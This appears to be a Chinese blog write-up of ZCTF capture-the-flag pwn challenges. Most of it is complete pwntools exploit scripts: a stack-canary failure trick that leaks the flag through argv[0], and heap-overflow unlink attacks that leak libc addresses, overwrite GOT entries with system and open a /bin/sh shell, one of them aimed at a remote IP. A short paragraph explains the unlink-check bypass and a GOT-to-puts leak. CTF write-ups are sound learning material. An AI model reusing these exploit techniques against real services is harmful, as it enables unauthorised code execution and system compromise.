ZCTF-Pwn
版权声明:本文为博主原创文章,未经博主允许不得转载。
最近有了点时间,把ZCTF的pwn总结了下,就差最后一个pwn500,另找时间总结。
文件打包:http://files.cnblogs.com/files/wangaohui/attach.zip
Pwn100
很明显栈溢出,但是有canary保护。但是明显的是flag已经被读入了内存。在网上找到了dragonsector写的一个pdf,知道了当__stack_check_fail时,会打印出正在运行中程序的名称,如下:

所以,我们只要将__libc_argv[0]覆盖为flag的地址就能将flag打印出来。POC:
from pwn import *
#context.log_level = 'debug'
s = remote('115.28.206.86',22222)
s.recvuntil('please guess the flag:')
payload='ZCTF{'+'A'*(32-5) + '\x00' + 'a'*263 + p64(0x6010C5)
s.sendline(payload)
s.recvuntil('***: ')
flagt = s.recvuntil('\n')[:27]
flag = 'ZCTF{'
for i in flagt:
flag += chr(ord(i)^ord('A'))
print flag
s.close()

Pwn200-note1

from pwn import *
#context.log_level = 'debug'
io = remote('127.0.0.1',10001)
def new(title, typ, content):
io.recvuntil('Enter the title:')
io.sendline(title)
io.recvuntil('Enter the type:')
io.sendline(typ)
io.recvuntil('Enter the content:')
io.sendline(content)
def show():
io.recvuntil('content=')
io.recvuntil('\n')
io.recvuntil('title=')
leak = io.recvuntil(',')
printfaddr = u64(leak)
print hex(printfaddr)
def edit(title, newc):
io.recvuntil('Input the note title:')
io.sendline(title)
io.recvuntil('Enter the new content:')
io.sendline(newc)
io.recvuntil('Modify success')
def delete(title):
io.recvuntil('Input the note title:')
io.sendline(title)
io.recvuntil('Delete success')
def pwn():
libcstartoff = 0x21A50
systemoff = 0x414F0
io.recvuntil('option--->>')
io.sendline('')
new('','aaa','a1a1')
io.recvuntil('option--->>')
io.sendline('')
new('','aaa','a1a1')
io.recvuntil('option--->>')
io.sendline('')
new('','aaa','a1a1') payload = 'a'*0x100 + p64(0) + p64(0x171) + p64(0x0) + p64(0x602040-0x70) + '' #p64(0x602018)
io.recvuntil('option--->>')
io.sendline('')
edit('', payload) io.recvuntil('option--->>')
io.sendline('')
io.recvuntil('content=')
io.recvuntil('\n')
io.recvuntil('content=')
io.recvuntil('\n')
io.recvuntil('content=')
libcstart = io.recvuntil('\n')[:-1].ljust(8,'\x00')
numlibcstart = u64(libcstart)
print 'leaked libc_start_main addr is %x' % numlibcstart
numsys = numlibcstart - libcstartoff + systemoff io.recvuntil('option--->>')
io.sendline('')
edit('', 'a'*40+p64(numsys)) io.recvuntil('option--->>')
io.sendline('/bin/sh;')
io.interactive()
pwn()
Pwn400-note2

from pwn import *
import time
#context.log_level = 'debug'
def new(s,length,content):
s.sendline('')
s.recvuntil('(less than 128)')
s.sendline(str(length))
s.recvuntil('Input the note content:')
s.sendline(content)
def edit(s,idf,c,content):
s.sendline('')
s.recvuntil('Input the id of the note:')
s.sendline(str(idf))
s.recvuntil('[1.overwrite/2.append]')
s.sendline(str(c))
s.sendline(content)
def dele(s,idf):
s.sendline('')
s.sendline(str(idf))
s.recvuntil('delete note success!')
def infoleak(s,idf):
s.sendline('')
s.recvuntil('Input the id of the note:')
s.sendline(str(idf))
s.recvuntil('Content is ')
return u64(s.recvuntil('\n')[:-1].ljust(8,'\x00'))
s= remote('127.0.0.1',10001)
time.sleep(2)
print 'pid of note2 is :' + str(pwnlib.util.proc.pidof('note2')[0])
raw_input('go!')
s.recvuntil('Input your name:')
s.sendline('wah')
s.recvuntil('Input your address:')
s.sendline('ucas')
s.recvuntil('option--->>') globalptr = 0x602120
fakefd = globalptr - 0x18
fakebk = globalptr - 0x10
content = 'a'*8
content += p64(0x91)
content += p64(fakefd)
content += p64(fakebk)
new(s,0x80,content)
s.recvuntil('option--->>')
new(s,0x0,'a'*8)
s.recvuntil('option--->>')
new(s,0x80,'b'*8)
s.recvuntil('option--->>')
dele(s,1)
s.recvuntil('option--->>') content = 'b'*0x10
content += p64(0xa0)
content += p64(0x90)
new(s,0x0,content)
s.recvuntil('option--->>')
dele(s,2)
s.recvuntil('option--->>')
content = 'a'*0x18 + p64(0x602088)
edit(s,0,1,content)
s.recvuntil('option--->>') atoiaddr = infoleak(s,0)
s.recvuntil('option--->>')
print 'atoi address is ' + hex(atoiaddr)
systemaddr = atoiaddr - 0x36360 + 0x414F0
print 'system address is ' + hex(systemaddr)
content = p64(systemaddr)
edit(s,0,1,content)
s.recvuntil('option--->>')
s.sendline('/bin/sh')
s.interactive()
s.close()
Pwn300-note3

from pwn import *
import time
#context.log_level = 'debug'
def new(s,length,content):
s.sendline('')
s.recvuntil('(less than 1024)')
s.sendline(str(length))
s.recvuntil('Input the note content:')
s.sendline(content)
def edit(s,idf,content):
s.sendline('')
s.recvuntil('Input the id of the note:')
s.sendline(str(idf))
s.recvuntil('Input the new content:')
s.sendline(content)
def dele(s,idf):
s.sendline('')
s.recvuntil('Input the id of the note:')
s.sendline(str(idf))
s.recvuntil('Delete success')
def infoleak(s,idf):
s.sendline('')
s.recvuntil('Input the id of the note:\n')
s.sendline(str(idf))
time.sleep(1)
return u64(s.recvuntil('\n')[:-1].ljust(8,'\x00'))
s= remote('127.0.0.1',10001)
time.sleep(2)
print 'pid of note2 is :' + str(pwnlib.util.proc.pidof('note3')[0])
raw_input('go!')
s.recvuntil('option--->>') globalptr = 0x6020C8
fakefd = globalptr - 0x18
fakebk = globalptr - 0x10
content = 'a'*8
content += p64(0x91)
content += p64(fakefd)
content += p64(fakebk)
new(s,0x80,content)
s.recvuntil('option--->>')
new(s,0x0,'a'*8)
s.recvuntil('option--->>')
new(s,0x80,'b'*8)
s.recvuntil('option--->>')
dele(s,1)
s.recvuntil('option--->>') content = 'b'*0x10
content += p64(0xa0)
content += p64(0x90)
new(s,0x0,content)
s.recvuntil('option--->>')
dele(s,2)
s.recvuntil('option--->>')
content = 'a'*0x18 + p64(0x602018) + p64(0x602020) + p64(0x602070)
edit(s,0,content)
s.recvuntil('option--->>')
content = p64(0x400736)[:-1]
edit(s,0,content)
s.recvuntil('option--->>') putsaddr = infoleak(s,1)
s.recvuntil('option--->>')
print 'puts address is ' + hex(putsaddr)
systemaddr = putsaddr - 0x6B9F0 + 0x414F0
print 'system address is ' + hex(systemaddr)
content = p64(systemaddr)
edit(s,2,content)
s.recvuntil('option--->>')
s.sendline('/bin/sh')
s.interactive()
s.close()
加深了对堆溢出的理解,linux下free时的unlink操作由于有check,并不能达到任意地址写,为了绕过check,能将变量ptr改为&ptr-0x18(64位系统下),&ptr-0xc(32位系统下)。也学到了一个新的泄漏内存的方法,就是如果能达到任意地址写的话,可以将某个.got.plt项(记为函数A)修改为puts在.plt的位置,这样在调用A时,就能调用puts函数造成信息泄露。Note2和note3都是整数溢出+堆溢出(fastbin+dwshoot)。
ZCTF-Pwn的更多相关文章
- iscc2016 pwn部分writeup
一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...
- ZCTF2015 pwn试题分析
ZCTF的pwn赛题分析, PWN100 这道题与SCTF的pwn100玩法是一样的,区别在于这个要过前面的几个限制条件.不能触发exit(0).否则就不能实现溢出了. 依然是触发canary来lea ...
- 2016 ZCTF note3:一种新解法
2016 ZCTF note3:一种新解法 最近在学习unlink做到了这道题,网上有两种做法:一种是利用edit功能读入id时整数溢出使索引为-1,一种是设置块大小为0使得写入时利用整数溢出漏洞可以 ...
- Pwn~
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...
- i春秋30强挑战赛pwn解题过程
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...
- SSCTF Final PWN
比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...
- pwn学习(1)
0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...
- pwn学习之四
本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...
- pwn学习之三
whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...
- pwn学习之二
刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...
随机推荐
- Hibernate更新部分字段浅谈
update语句是在Hibernate的Configuration的时候生成的,不能动态改变.为什么update的时候所有的属性都一起update,而不是只更新改变字段,其实这是一个比较值得探讨的问题 ...
- 利用Inotify和Rsync将webproject文件自己主动同步到多台应用server
背景:须要搭建一套跟线上一模一样的环境,用来预公布,这是当中的web分发的一个小模块的实现过程. 1 工具以及环境简单介绍 1.1,Inotify工具 Inotify,它是一个内核用于通知用户空间程序 ...
- Android项目实战-云词典
前段时间在网上看到滴答滴答的一个项目,字典文章,找到一个简单的字.整句翻译功能,词汇,但漫长的岁月项目,二手API数据不再可用,我决定使用其现有的框架来实现其功能,主要采用的技术GSON和Volley ...
- stagefright框架(一)Video Playback的流程
在Android上,預設的多媒體框架(multimedia framework)是OpenCORE. OpenCORE的優點是兼顧了跨平台的移植性,而且已經過多方驗證,所以相對來說較為穩定:但是其缺點 ...
- DataSet转Json 方法
防止忘记,留着备用 /// <summary> /// DATASET转JSON /// </summary> /// <param name="ds" ...
- ECShop2.7.2详细文件结构及模板结构目录名称
┣plugins目录┣templates目录┃ ┣backup目录┃ ┃ ┣index.htm┃ ┃ ┗ibrary目录┃ ┃ ┗index.htm┃ ┣cac ...
- 下拉菜单中的Option对象
1.创建Option对象 1.1 var optionEle1 = document.createElement('option'); 1.2 var optionEle2 = new Option( ...
- thinkPHP入门 一
简介 ThinkPHP是一个快速.简单的基于MVC和面向对象的轻量级PHP开发框架,遵循Apache2开源协议发布,从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,尤其注重开 ...
- Candy Bags
读懂了题就会发现这是个超级大水题 Description Gerald has n younger brothers and their number happens to be even. One ...
- Spring:启动项目时加载数据库数据(总结)
在项目中需要启动程序时,要将数据库的用户信息表加载到内存中,找到一下几种方式. 1.实现ApplicationListener接口,重写onApplicationEvent方法,可以在项目启动的时候执 ...